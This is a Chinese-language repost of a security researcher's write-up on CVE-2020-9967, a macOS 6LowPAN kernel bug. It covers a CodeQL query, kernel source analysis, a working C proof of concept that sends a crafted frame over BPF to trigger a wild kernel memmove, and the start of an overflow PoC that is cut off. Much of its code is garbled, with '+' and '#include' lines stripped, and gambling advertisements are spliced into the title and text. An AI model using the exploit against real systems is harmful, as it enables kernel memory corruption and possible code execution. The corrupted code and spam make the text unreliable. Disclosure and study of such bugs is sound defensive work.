内容字号:默认大号超大号

段落设置:段首缩进取消段首缩进

字体设置:切换到微软雅黑切换到宋体

电银付app下载(dianyinzhifu.com):揭开Apple macOS 6LowPAN破绽(CVE-2020-9967)的神秘面纱

2020-12-27 07:01 出处:  人气:   评论( 0

在深受Kevin Backhouse在挖掘XNU远程破绽方面的文章的启发后,我决议花点时间鼓捣一下CodeQL,并着手举行一些变种剖析——效果,我在macOS 10.15.4的6LowPAN代码中发现了一个内陆root到内核权限的提权破绽(然则苹果称之为远程破绽)。 

该破绽已于2020年5月11日提交给苹果。

这个问题的破绽编号为CVE-2020-9967,其修复方式包罗在下面的平安更新中。

· macOS Big Sur

2020年12月5日,苹果公司示意,已经为所有适用平台宣布了该CVE。

破绽的发现历程

在XNU中,入站和出站的网络数据包被存储在一个称为mbuf的内存治理单元中。另外,这些数据通常是由操作系统的网络栈代码读取或写入mbuf中的。

我的思索历程是:界说一个简朴的污点跟踪查询,以找出所有不受信托的网络数据泉源(Source点,风险产生点),它们最终会污染内存复制操作的巨细参数(Sink点,风险触发点)。我最初就是通过修改来自这里的查询来寻找Source点 m_mtod和Sink点 builtin___memcpy_chk的,然则,最终无功而返。然而,在XNU内部,bcopy被频仍使用,这最终会酿成挪用buildin___memmove_chk,以是查询被修改为:

import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis
 
class Config extends TaintTracking::Configuration {
  Config() { this = "sixlowpan_flow" }
 
  override predicate isSource(DataFlow::Node source) {
    source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"
  }
 
  override predicate isSink(DataFlow::Node sink) {
    exists (FunctionCall call
    | call.getArgument(2) = sink.asExpr() and
      call.getTarget().getName() = "__builtin___memmove_chk" )
  }
}
 
from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "memmove with tainted size."

运行这个查询获得了约莫15个效果,我发现的破绽就是其中之一。

通过查看效果,我发现下面是一个值得手动观察的流程:

1   call to m_mtod  if_6lowpan.c:623:2
2   len     if_6lowpan.c:663:41
3   ref arg & ... [payload_len]    if_6lowpan.c:663:46
4   & ... [payload_len]    if_6lowpan.c:666:19
5   ieee02154hdr [payload_len]  sixxlowpan.c:882:38
6   ieee02154hdr [payload_len]  sixxlowpan.c:886:32
7   ieee02154hdr [payload_len]  sixxlowpan.c:819:43
8   ieee02154hdr [payload_len]  sixxlowpan.c:855:7
9   payload_len     sixxlowpan.c:855:21
10  ... - ...   sixxlowpan.c:855:7

这证明了为代码库提供定制化的CodeQL查询来识别常见破绽模式的威力是何等的壮大。

在深入先容这里发现的破绽之前,我们不妨先来领会一下6LowPAN的靠山。

关于6LowPAN

事实证明,作为MacOS Catalina 10.15的一部门,苹果在XNU内核中悄悄地引入了对6LoWPAN和IEEE 802.15.4的支持。我们知道,XNU内核中引入的实质性转变都值得观察,由于它们很可能是引入新破绽的泉源。6LowPAN是“IPv6 over Low-Power Wireless Persona Area Networks”的缩写,顾名思义,它是一种网络技术,允许IPv6数据包有效地在小型链路层帧中传输,如IEEE 802.15.4。

与该协议对应的RFC是RFC4944、RFC6282和RFC6775。

下面,我们给人人先容一下相关靠山知识。IEEE 802.15.4是界说低速率无线小我私家区域网(LR-WPAN)操作的尺度,并划定了LR-WPAN的物理层和媒体接入层。之后,6LowPAN扩展了该尺度,提供了802.15.4中没有界说的上层。其中,一个盛行的物联网协议Thread就采用了6LowPAN,顺便说一下,苹果已经在2018年加入了Thread工作组。

在XNU内核源代码中,frame802154.c提供了802.15.4帧的建立和剖析的实现代码;if_6lowpan.c则含有6LowPAN网络接口的相关代码,sixlowpan.c中含有与6lowpan压缩息争压缩相关的代码。固然,其中大部门代码取自Contiki OS,只不外做了些修改和封装而已。

现在上述内容还没有公然的文档,唯一公然提到的只有关于Thread HomePod mini的内容。

IEEE 802.15.4的帧花样

第2层(协议栈内的MAC层)的界说位于IEEE尺度802.15.4-2015中的“通用MAC帧花样”一章的第7.2节中。

该帧的控制字段如下所示:

IPv6数据包必须通过数据帧传输。当我们在后面讨论XNU代码库内的剖析历程时,这些细节将很主要,由于首先需要对这些帧举行剖析,以确定报头,然后才气处置有效载荷部门。

LoWPAN有效载荷

由于一个完整的IPv6数据包不适合IEEE 802.15.4帧,必须提供一个适配层,以相符IPv6对最小MTU的要求。该尺度还界说了报头压缩的用法,由于预计大多数应用将使用基于IEEE 802.15.4的IP。

因此,如上所述,LoWPAN有效载荷(例如,IPv6分组)跟随在封装报头之后。

需要记着的是,IPv6报头也有40个八位字节长。

在初始尺度中,界说了使用LOWPAN_HC1压缩的IPv6数据报。这意味着刚收到6LowPAN有效载荷时,它们是经由压缩的。这也是明白该破绽的一个主要的注意事项。

数据链路层调剂

我们的问题是,该若何把6LowPAN帧发送到苹果装备上,以及它们会不会被自动处置?通过仔细研究代码,我们发现数据链路层能够调剂这种类型的帧。

最初,我们可以发送一个以太网数据包,它将交由demux函数举行处置:

int
ether_demux(ifnet_t ifp, mbuf_t m, char *frame_header,
    protocol_family_t *protocol_family)
{
    struct ether_header *eh = (struct ether_header *)(void *)frame_header;
    u_short  ether_type = eh->ether_type;
    u_int16_t type;
    u_int8_t *data;
    u_int32_t i = 0;
    struct ether_desc_blk_str *desc_blk =
        (struct ether_desc_blk_str *)ifp->if_family_cookie;
    u_int32_t maxd = desc_blk ? desc_blk->n_max_used : 0;
    struct en_desc  *ed = desc_blk ? desc_blk->block_ptr : NULL;
    u_int32_t extProto1 = 0;
    u_int32_t extProto2 = 0;
 
    if (eh->ether_dhost[0] & 1) {
        /* Check for broadcast */
        if (_ether_cmp(etherbroadcastaddr, eh->ether_dhost) == 0) {
            m->m_flags |= M_BCAST;
        } else {
            m->m_flags |= M_MCAST;
        }
    }
 
    if (m->m_flags & M_HASFCS) {
        /*
         * If the M_HASFCS is set by the driver we want to make sure
         * that we strip off the trailing FCS data before handing it
         * up the stack.
         */
        m_adj(m, -ETHER_CRC_LEN);
        m->m_flags &= ~M_HASFCS;
    }
 
    if ((eh->ether_dhost[0] & 1) == 0) {
        /*
         * When the driver is put into promiscuous mode we may receive
         * unicast frames that are not intended for our interfaces.
         * They are marked here as being promiscuous so the caller may
         * dispose of them after passing the packets to any interface
         * filters.
         */
        if (_ether_cmp(eh->ether_dhost, IF_LLADDR(ifp))) {
            m->m_flags |= M_PROMISC;
        }
    }
 
    /* check for IEEE 802.15.4 */
    if (ether_type == htons(ETHERTYPE_IEEE802154)) {
        *protocol_family = PF_802154;
        return 0;
    }

若是以太网报头中的ether_type为ETHERTYPE_IEEE802154,那么我们将把protocol_family设置为PF_802154。

现在,在默认设置中,除非设置了6lowpan接口,否则无法处置该protocol_family,这导致以下代码注册函数sixlowpan_input,并在处置802.15.4帧时挪用该函数。

/*
 * Function: sixlowpan_attach_protocol
 * Purpose:
 *   Attach a DLIL protocol to the interface
 *   The ethernet demux actually special cases 802.15.4.
 *   The demux here isn't used. The demux will return PF_802154 for the
 *   appropriate packets and our sixlowpan_input function will be called.
 */
static int
sixlowpan_attach_protocol(struct ifnet *ifp)
{
    int     error;
    struct ifnet_attach_proto_param reg;
 
    bzero(&reg, sizeof(reg));
    reg.input            = sixlowpan_input;
    reg.detached         = sixlowpan_detached;
    error = ifnet_attach_protocol(ifp, PF_802154, &reg);
    if (error) {
        printf("%s(%s%d) ifnet_attach_protocol failed, %dn",
            __func__, ifnet_name(ifp), ifnet_unit(ifp), error);
    }
    return error;
}

破绽详情

,

www.allbetgame.us

欢迎进入欧博平台网站(www.aLLbetgame.us),www.aLLbetgame.us开放欧博平台网址、欧博注册、欧博APP下载、欧博客户端下载、欧博游戏等业务。

,

好了,现在我们终于把靠山信息交接清晰了,接下来,我们最先先容本人所发现的破绽。对802.15.4数据帧举行解封的sixlowpan_input函数的代码详细如下:

/*
 * 6lowpan input routine.
 * Decapsulate the 802.15.4 Data Frame
 * Header decompression on the payload
 * Pass the mbuf to the IPV6 protocol stack using proto_input()
 */
static int
sixlowpan_input(ifnet_t p, __unused protocol_family_t protocol,
    mbuf_t m, __unused char *frame_header)
{
    frame802154_t      ieee02154hdr;
    u_int8_t           *payload = NULL;
    if6lpan_ref        ifl = NULL;
    bpf_packet_func    bpf_func;
    mbuf_t mc, m_temp;
    int off, err = 0;
    u_int16_t len;
 
    /* Allocate an mbuf cluster for the 802.15.4 frame and uncompressed payload */
    mc = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
    if (mc == NULL) {
        err = -1;
        goto err_out;
    }
 
    memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t));
    len = ntohs(len);                  // This is the size read from the frame on the wire.
    m_adj(m, sizeof(u_int16_t));
    /* Copy the compressed 802.15.4 payload from source mbuf to allocated cluster mbuf */
    for (m_temp = m, off = 0; m_temp != NULL; m_temp = m_temp->m_next) {
        if (m_temp->m_len > 0) {
            m_copyback(mc, off, m_temp->m_len, mtod(m_temp, void *));
            off  = m_temp->m_len;
        }
    }
 
    p = p_6lowpan_ifnet;
    mc->m_pkthdr.rcvif = p;
 
    sixlowpan_lock();
    ifl = ifnet_get_if6lpan_retained(p);
 
    if (ifl == NULL) {
        sixlowpan_unlock();
        err = -1;
        goto err_out;
    }
 
    if (if6lpan_flags_ready(ifl) == 0) {
        if6lpan_release(ifl);
        sixlowpan_unlock();
        err = -1;
        goto err_out;
    }
 
    bpf_func = ifl->if6lpan_bpf_input;
    sixlowpan_unlock();
    if6lpan_release(ifl);
 
    if (bpf_func) {
        bpf_func(p, mc);
    }
 
    /* Parse the 802.15.4 frame header */
    bzero(&ieee02154hdr, sizeof(ieee02154hdr));
    frame802154_parse(mtod(mc, uint8_t *), len, &ieee02154hdr, &payload);
 
    /* XXX Add check for your link layer address being dest */
    sixxlowpan_input(&ieee02154hdr, payload);

首先,m_getcl为传入的802.15.4帧和未压缩的有效载荷分配一个mbuf集群:即mc。

集群mbuf的巨细是MCLBYTES,即2048字节。跨越该巨细的数据将被复制到链接到一起的多个mbuf中。

正如您看到的,len是从传入的mbuf m中读取的,而且是完全由攻击者控制的。

然后,m_adj被用来从mbuf链的开头减去这两个字节。

然后,将压缩后的802.15.4有效载荷从Source点mbuf m复制到分配的集群mbuf mc中。

然后,将集群mbuf的数据指针与攻击者控制的len值一起传递给frame802154_parse。

不外,这里存在一些显著的问题,好比,若是mbuf内的数据小于mc内的帧的长度,效果会怎样?

/*----------------------------------------------------------------------------*/
/**
 *   brief Parses an input frame.  Scans the input frame to find each
 *   section, and stores the information of each section in a
 *   frame802154_t structure.
 *
 *   param data The input data from the radio chip.
 *   param len The size of the input data
 *   param pf The frame802154_t struct to store the parsed frame information.
 */
int
frame802154_parse(uint8_t *data, int len, frame802154_t *pf, uint8_t **payload)
{
    uint8_t *p;
    frame802154_fcf_t fcf;
    int c;
,if LLSEC802154_USES_EXPLICIT_KEYS
    uint8_t key_id_mode;
,endif /* LLSEC802154_USES_EXPLICIT_KEYS */
 
    if (len < 3) {
        return 0;
    }
 
    p = data;
 
    /* decode the FCF */
    fcf.frame_type = p[0] & 7;
    fcf.security_enabled = (p[0] >> 3) & 1;
    fcf.frame_pending = (p[0] >> 4) & 1;
    fcf.ack_required = (p[0] >> 5) & 1;
    fcf.panid_compression = (p[0] >> 6) & 1;
 
    fcf.dest_addr_mode = (p[1] >> 2) & 3;
    fcf.frame_version = (p[1] >> 4) & 3;
    fcf.src_addr_mode = (p[1] >> 6) & 3;
 
    /* copy fcf and seqNum */
    memcpy(&pf->fcf, &fcf, sizeof(frame802154_fcf_t));
    pf->seq = p[2];
    p  = 3;                             /* Skip first three bytes */
 
    /* Destination address, if any */
    if (fcf.dest_addr_mode) {
        /* Destination PAN */
        pf->dest_pid = p[0]   (p[1] << 8);
        p  = 2;
 
        /* Destination address */
        /*     l = addr_len(fcf.dest_addr_mode); */
        /*     for(c = 0; c < l; c  ) { */
        /*       pf->dest_addr.u8[c] = p[l - c - 1]; */
        /*     } */
        /*     p  = l; */
        if (fcf.dest_addr_mode == FRAME802154_SHORTADDRMODE) {
            linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);
            pf->dest_addr[0] = p[1];
            pf->dest_addr[1] = p[0];
            p  = 2;
        } else if (fcf.dest_addr_mode == FRAME802154_LONGADDRMODE) {
            for (c = 0; c < 8; c  ) {
                pf->dest_addr[c] = p[7 - c];
            }
            p  = 8;
        }
    } else {
        linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);
        pf->dest_pid = 0;
    }
 
    /* Source address, if any */
    if (fcf.src_addr_mode) {
        /* Source PAN */
        if (!fcf.panid_compression) {
            pf->src_pid = p[0]   (p[1] << 8);
            p  = 2;
        } else {
            pf->src_pid = pf->dest_pid;
        }
 
        /* Source address */
        /*     l = addr_len(fcf.src_addr_mode); */
        /*     for(c = 0; c < l; c  ) { */
        /*       pf->src_addr.u8[c] = p[l - c - 1]; */
        /*     } */
        /*     p  = l; */
        if (fcf.src_addr_mode == FRAME802154_SHORTADDRMODE) {
            linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);
            pf->src_addr[0] = p[1];
            pf->src_addr[1] = p[0];
            p  = 2;
        } else if (fcf.src_addr_mode == FRAME802154_LONGADDRMODE) {
            for (c = 0; c < 8; c  ) {
                pf->src_addr[c] = p[7 - c];
            }
            p  = 8;
        }
    } else {
        linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);
        pf->src_pid = 0;
    }
 
,if LLSEC802154_SECURITY_LEVEL
    if (fcf.security_enabled) {
        pf->aux_hdr.security_control.security_level = p[0] & 7;
,if LLSEC802154_USES_EXPLICIT_KEYS
        pf->aux_hdr.security_control.key_id_mode = (p[0] >> 3) & 3;
,endif /* LLSEC802154_USES_EXPLICIT_KEYS */
        p  = 1;
 
        memcpy(pf->aux_hdr.frame_counter.u8, p, 4);
        p  = 4;
 
,if LLSEC802154_USES_EXPLICIT_KEYS
        key_id_mode = pf->aux_hdr.security_control.key_id_mode;
        if (key_id_mode) {
            c = (key_id_mode - 1) * 4;
            memcpy(pf->aux_hdr.key_source.u8, p, c);
            p  = c;
            pf->aux_hdr.key_index = p[0];
            p  = 1;
        }
,endif /* LLSEC802154_USES_EXPLICIT_KEYS */
    }
,endif /* LLSEC802154_SECURITY_LEVEL */
 
    /* header length */
    c = p - data;
    /* payload length */
    pf->payload_len = (len - c);
    /* payload */
    *payload = p;
 
    /* return header length if successful */
    return c > len ? 0 : c;
}
 
 
/** brief Parameters used by the frame802154_create() function.  These
 *  parameters are used in the 802.15.4 frame header.  See the 802.15.4
 *  specification for details.
 */
struct frame802154 {
    /* The fields dest_addr and src_addr must come first to ensure they are aligned to the
     * CPU word size. Needed as they are accessed directly as linkaddr_t*. Note we cannot use
     * the type linkaddr_t directly here, as we always need 8 bytes, not LINKADDR_SIZE bytes. */
    uint8_t dest_addr[8];           /**< Destination address */
    uint8_t src_addr[8];            /**< Source address */
    frame802154_fcf_t fcf;          /**< Frame control field  */
    uint8_t seq;                    /**< Sequence number */
    uint16_t dest_pid;              /**< Destination PAN ID */
    uint16_t src_pid;               /**< Source PAN ID */
    frame802154_aux_hdr_t aux_hdr;  /**< Aux security header */
    //uint8_t *payload;               /**< Pointer to 802.15.4 payload */
    int payload_len;                /**< Length of payload field */
};
typedef struct frame802154 frame802154_t;

关于这个函数和挪用方,有一些主要的注意事项:

· 若是len<3,那么函数将返回0,而且不会初始化有效载荷指针(也就是一个NULL指针)。· frame802154_parse的返回值不会被检查。因此,这可能导致报头长度大于有效载荷的情形。

· 由于我们可以将len控制在0-0xffff的局限之间,因此,我们可以使pf->payload_len为负值(至-header_len),小于预期的巨细或者大于mc中输入数据自己的巨细。

那么,在这些情形下会发生什么事情呢?

errno_t
sixxlowpan_input(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{
    errno_t error = 0;
 
    error = sixxlowpan_uncompress(ieee02154hdr, payload);
    if (error != 0) {
        goto done;
    }
 
    /*
     * TO DO: fragmentation
     */
 
done:
    return error;
}

然后,对有效载荷举行解压:

errno_t
sixxlowpan_uncompress(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{
    long hdroffset;
    size_t hdrlen;
    u_int8_t hdrbuf[128];
    errno_t error;
 
    bzero(hdrbuf, sizeof(hdrbuf));
    hdrlen = sizeof(hdrbuf);
 
    error = uncompress_hdr_hc1(ieee02154hdr, (u_int8_t *)payload,
        0, &hdroffset, &hdrlen, hdrbuf);
 
    if (error != 0) {
        return error;
    }
 
    if (hdroffset < 0) {
        /*
         * hdroffset negative means that we have to remove
         * hdrlen of extra stuff
         */
        memmove(&payload[0],
            &payload[hdrlen],
            ieee02154hdr->payload_len - hdrlen);
        ieee02154hdr->payload_len -= hdrlen;
    } else {
        /*
         * hdroffset is the size of the compressed header
         * -- i.e. when the untouched data starts
         *
         * hdrlen is the size of the decompressed header
         * that takes the place of compressed header of size hdroffset
         */
        memmove(payload   hdrlen,
            payload   hdroffset,
            ieee02154hdr->payload_len - hdroffset);
        memcpy(payload, hdrbuf, hdrlen);
        ieee02154hdr->payload_len  = hdrlen - hdroffset;
    }
 
    return 0;
}

下面,我们来看一下解压缩函数:

/*--------------------------------------------------------------------*/
/**
 * brief Uncompress HC1 (and HC_UDP) headers and put them in
 * sicslowpan_buf
 *
 * This function is called by the input function when the dispatch is
 * HC1.
 * We %process the packet in the packetbuf buffer, uncompress the header
 * fields, and copy the result in the sicslowpan buffer.
 * At the end of the decompression, packetbuf_hdr_len and uncompressed_hdr_len
 * are set to the appropriate values
 *
 * param ip_len Equal to 0 if the packet is not a fragment (IP length
 * is then inferred from the L2 length), non 0 if the packet is a 1st
 * fragment.
 */
errno_t
uncompress_hdr_hc1(struct frame802154 *frame, u_int8_t *payload,
    uint16_t ip_len, long *hdroffset, size_t *hdrlen, u_int8_t *hdrbuf)
{
    struct ip6_hdr *ip6 = (struct ip6_hdr *)hdrbuf;
 
    if (payload[PACKETBUF_HC1_DISPATCH] == SICSLOWPAN_DISPATCH_IPV6) {
        *hdroffset = -SICSLOWPAN_IPV6_HDR_LEN;
        *hdrlen = SICSLOWPAN_IPV6_HDR_LEN;
        return 0;
    }
 
    *hdroffset = 0;
 
    /* version, traffic class, flow label */
    ip6->ip6_flow = 0;
    ip6->ip6_vfc = IPV6_VERSION;
 
    /* src and dest ip addresses */
    uip_ip6addr_u8(&ip6->ip6_src, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
    uip_ds6_set_addr_iid(&ip6->ip6_src,
        (uip_lladdr_t *)frame->src_addr);
 
    uip_ip6addr_u8(&ip6->ip6_dst, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
    uip_ds6_set_addr_iid(&ip6->ip6_dst,
        (uip_lladdr_t *)frame->dest_addr);
 
    *hdrlen = UIP_IPH_LEN;
 
    /* Next header field */
    switch (payload[PACKETBUF_HC1_ENCODING] & 0x06) {
    case SICSLOWPAN_HC1_NH_ICMP6:
        ip6->ip6_nxt = IPPROTO_ICMPV6;
        ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
        *hdroffset = SICSLOWPAN_HC1_HDR_LEN;
        break;
 
    case SICSLOWPAN_HC1_NH_TCP:
        ip6->ip6_nxt = IPPROTO_TCP;
        ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
        *hdroffset = SICSLOWPAN_HC1_HDR_LEN;
        break;
 
    case SICSLOWPAN_HC1_NH_UDP:
        ip6->ip6_nxt = IPPROTO_UDP;
        if (payload[PACKETBUF_HC1_HC_UDP_HC1_ENCODING] & 0x01) {
            struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;
 
            /* UDP header is compressed with HC_UDP */
            if (payload[PACKETBUF_HC1_HC_UDP_UDP_ENCODING] !=
                SICSLOWPAN_HC_UDP_ALL_C) {
                printf("sicslowpan (uncompress_hdr), packet not supported");
                return EINVAL;
            }
            /* IP TTL */
 
            ip6->ip6_hlim = payload[PACKETBUF_HC1_HC_UDP_TTL];
            /* UDP ports, len, checksum */
            udp->uh_sport =
                htons(SICSLOWPAN_UDP_PORT_MIN   (payload[PACKETBUF_HC1_HC_UDP_PORTS] >> 4));
            udp->uh_dport =
                htons(SICSLOWPAN_UDP_PORT_MIN   (payload[PACKETBUF_HC1_HC_UDP_PORTS] & 0x0F));
 
            memcpy(&udp->uh_sum, &payload[PACKETBUF_HC1_HC_UDP_CHKSUM], 2);
            *hdrlen  = UIP_UDPH_LEN;
            *hdroffset = SICSLOWPAN_HC1_HC_UDP_HDR_LEN;
        } else {
            ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
            *hdroffset = SICSLOWPAN_HC1_HDR_LEN;
        }
        break;
 
    default:
        /* this shouldn't happen, drop */
        return EINVAL;
    }
 
    /* IP length field. */
    if (ip_len == 0) {
        size_t len = frame->payload_len - *hdroffset   *hdrlen - sizeof(struct ip6_hdr);
 
        /* This is not a fragmented packet */
        SET16(&ip6->ip6_plen, len);
    } else {
        /* This is a 1st fragment */
        SET16(&ip6->ip6_plen, ip_len - UIP_IPH_LEN);
    }
    /* length field in UDP header */
    if (ip6->ip6_nxt == IPPROTO_UDP) {
        struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;
 
        memcpy(&udp->uh_ulen, &ip6->ip6_plen, 2);
    }
    return 0;
}

我们可以通过这个函数观察到以下情形:

1.它预期mbuf中至少有40字节供IPv6报头 *hdrlen使用。

2.它不期望有效载荷的长度会小于报头的长度。

3.ip_len总是0。

若是我们忽略了所有可能的界外读取,则可以将该问题用于如下的界外写入:

· len的下溢导致一个伟大的值被传递给memmove(wild write).

因此,若是我们将接收到的帧的len设置为0x4,我们最终会在frame802154_parse中计算出以下值:

c header length = 3 frame->payload_len = 1

然后,通过设置SICSLOWPAN_HC1_NH_UDP,我们最终在uncompress_hdr_hc1中获得以下值:

*hdroffset = SICSLOWPAN_HC1_HDR_LEN; 即 *hdroffset = 3
 
*hdrlen = UIP_IPH_LEN; 即 *hdrlen = 40
 
sizeof(struct ip6_hdr) = 40

因此,当我们返回sixxlowpan_uncompress函数时:

/*
         * hdroffset is the size of the compressed header
         * -- i.e. when the untouched data starts
         *
         * hdrlen is the size of the decompressed header
         * that takes the place of compressed header of size hdroffset
         */
        memmove(payload   hdrlen,
            payload   hdroffset,
            ieee02154hdr->payload_len - hdroffset);
        memcpy(payload, hdrbuf, hdrlen);

我们将在payload 40处执行写入操作(在mc mbuf集群中,受攻击者控制的数据来自Source payload缓冲区,长度为ieee02154hdr->payload_len - 3 = -2)。

POC 1:下溢

/***
 
Apple XNU 6LowPAN POC
Catalina 10.15.4
 
POC 1: Wild memmove trigger with an underflow.
 
Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0
 
***/
 
,include
,include
,include
,include
,include
,include
,include
,include
,include
,include
,include
,include
,include
 
// Set these to source and target
unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
 
struct frame_t {
    struct ether_header header;
    unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];
    ssize_t len;
    ssize_t payload_len;
};
 
// Open bpf device
int open_bpf_device()
{
    char buf[11] = {};
    int bpf = 0;
    for(int i = 0; i < 99; i  )
    {
        sprintf(buf,"/dev/bpf%i",i);
        bpf = open(buf,O_RDWR);
        if( bpf != -1 ) {
            printf("Opened device /dev/bpf%in", i);
            break;
        }
    }
    if(bpf == -1) {
        printf("Cannot open any /dev/bpf* device, exitingn");
        exit(1);
    }
    return bpf;
}
 
// Associate device
void assoc_dev(int bpf, char* interface)
{
    struct ifreq bound_if;
    strcpy(bound_if.ifr_name, interface);
    if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {
        printf("Cannot bind bpf device to physical device %s, exitingn", interface);
        exit(1);
    }
    printf("Bound bpf device to physical device %sn", interface);
}
 
// Write trigger frame
void write_single_frame(int bpf)
{
    ssize_t data_length = 32;
 
    struct frame_t frame;
    memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);
    memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);
 
    //  802.15.4 frame type.
    frame.header.ether_type = 0x908;
    frame.len = (2*ETHER_ADDR_LEN)   ETHER_TYPE_LEN   data_length;
 
    // Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);
    frame.payload[0] = 0;
    frame.payload[1] = 4;
 
    // This is the start of the "data" passed to frame802154_parse and considered frame header
    // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)
    // These are used for the FCF (no flags set)
    frame.payload[2] = 0;
    frame.payload[3] = 0;
    frame.payload[4] = 0;
 
    // As none FCF are set p =3 bytes.
    // header length
    // c = p - data;
    // c = 3
    // payload length
    // pf->payload_len = (4 - 3);
    // pf->payload_len = 1
 
    // This is the start of our payload passed to sixxlowpan_uncompress
    frame.payload[5] = 0;
    frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP
 
    // Just pad the frame with 'A'.
    for (int j = 7; j < 32; j  ) {
        frame.payload[j] = 0x41;
    }
 
    ssize_t bytes_sent;
    bytes_sent = write(bpf, &frame, frame.len);
    if(bytes_sent > 0) {
        printf("Bytes sent: %ldn", bytes_sent);
    } else {
        perror("Error sending frame");
        exit(1);
    }
}
 
int main(int argc, char *argv[])
{
    char* interface = "en0";
 
    int bpf;
    bpf = open_bpf_device();
    assoc_dev(bpf, interface);
    write_single_frame(bpf);
 
    return 0;
}

在上面的POC 1代码中,我们通过1-3=-2触发了一个“胖手指式”的写入操作,以使问题变得加倍显著。

我们可以通过下面的调试输出来举行确认:

(lldb) disas
kernel`sixxlowpan_uncompress:
    0xffffff8003ffa0b0
    0xffffff8003ffa0b1
    0xffffff8003ffa0b4
    0xffffff8003ffa0b6
    0xffffff8003ffa0b8
    0xffffff8003ffa0ba
    0xffffff8003ffa0bc
    0xffffff8003ffa0bd
    0xffffff8003ffa0c4
    0xffffff8003ffa0c7
    0xffffff8003ffa0ca
    0xffffff8003ffa0d1
    0xffffff8003ffa0d4
    0xffffff8003ffa0d8
    0xffffff8003ffa0d9
    0xffffff8003ffa0e3
    0xffffff8003ffa0eb
    0xffffff8003ffa0f3
    0xffffff8003ffa0fb
    0xffffff8003ffa103
    0xffffff8003ffa10b
    0xffffff8003ffa113
    0xffffff8003ffa11b
    0xffffff8003ffa123
    0xffffff8003ffa12b
    0xffffff8003ffa133
    0xffffff8003ffa13e
    0xffffff8003ffa149
    0xffffff8003ffa154
    0xffffff8003ffa15f
    0xffffff8003ffa16a
    0xffffff8003ffa175
    0xffffff8003ffa17c
    0xffffff8003ffa181
    0xffffff8003ffa184
 
    0xffffff8003ffa189
    0xffffff8003ffa194
    0xffffff8003ffa19b
    0xffffff8003ffa1a2
    0xffffff8003ffa1a5
    0xffffff8003ffa1a8
    0xffffff8003ffa1aa
    0xffffff8003ffa1ad
 
    0xffffff8003ffa1b2
    0xffffff8003ffa1b4
    0xffffff8003ffa1b6
    0xffffff8003ffa1b8
    0xffffff8003ffa1bf
    0xffffff8003ffa1c6
    0xffffff8003ffa1ca
    0xffffff8003ffa1cd
 
    0xffffff8003ffa1cf
    0xffffff8003ffa1d3
    0xffffff8003ffa1d7
    0xffffff8003ffa1d8
->  0xffffff8003ffa1da
 
 
(lldb) register read
General Purpose Registers:
       rax = 0x0000000000000000
       rbx = 0x0000000000000000
       rcx = 0xffffff80669e3d28
       rdx = 0xfffffffffffffffe
       rdi = 0xffffff80602e1806
       rsi = 0xffffff80602e182b
       rbp = 0xffffff80669e3cf0
       rsp = 0xffffff80669e3c30
        r8 = 0xffffff80669e3c38
        r9 = 0xffffff80669e3c40
       r10 = 0x0000000000000000
       r11 = 0x0000000000000003
       r12 = 0x0000000000000028
       r13 = 0x0000000000000003
       r14 = 0xffffff80669e3d28
       r15 = 0xffffff80602e1803
       rip = 0xffffff8003ffa1da  kernel`sixxlowpan_uncompress   298 [inlined] memmove at subrs.c:703
  kernel`sixxlowpan_uncompress   298 [inlined] __memmove_chk at sixxlowpan.c:853
  kernel`sixxlowpan_uncompress   298 at sixxlowpan.c:853
    rflags = 0x0000000000000393
        cs = 0x0000000000000008
        fs = 0x00000000ffff0000
        gs = 0x00000000669e0000

POC 2:上溢

然而,我们可以用伟大的有效载荷长度来触发更可控的内存损坏活动,这同时也可能触发代码执行。

例如,我们可以使用以下参数:

len = 0xffff
 
pf->payload_len = (0xffff - 3); = 65532 pf->payload_len = 0xfffc

将导致memmove在payload 40处执行写入操作,数据来自攻击者,巨细为0xfffc-40 =(0xfff9)65529。

POC 2可以演示该历程:

/***
 
Apple XNU 6LowPAN POC
Catalina 10.15.4
 
POC 2: Write 0xffd4 bytes - overflow
 
Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0
 
***/
 
,include
,include
,include
,include
,include
,include
,include
,include
,include
,include
,include
,include
,include
 
// Set these to source and target
unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
 
struct frame_t {
    struct ether_header header;
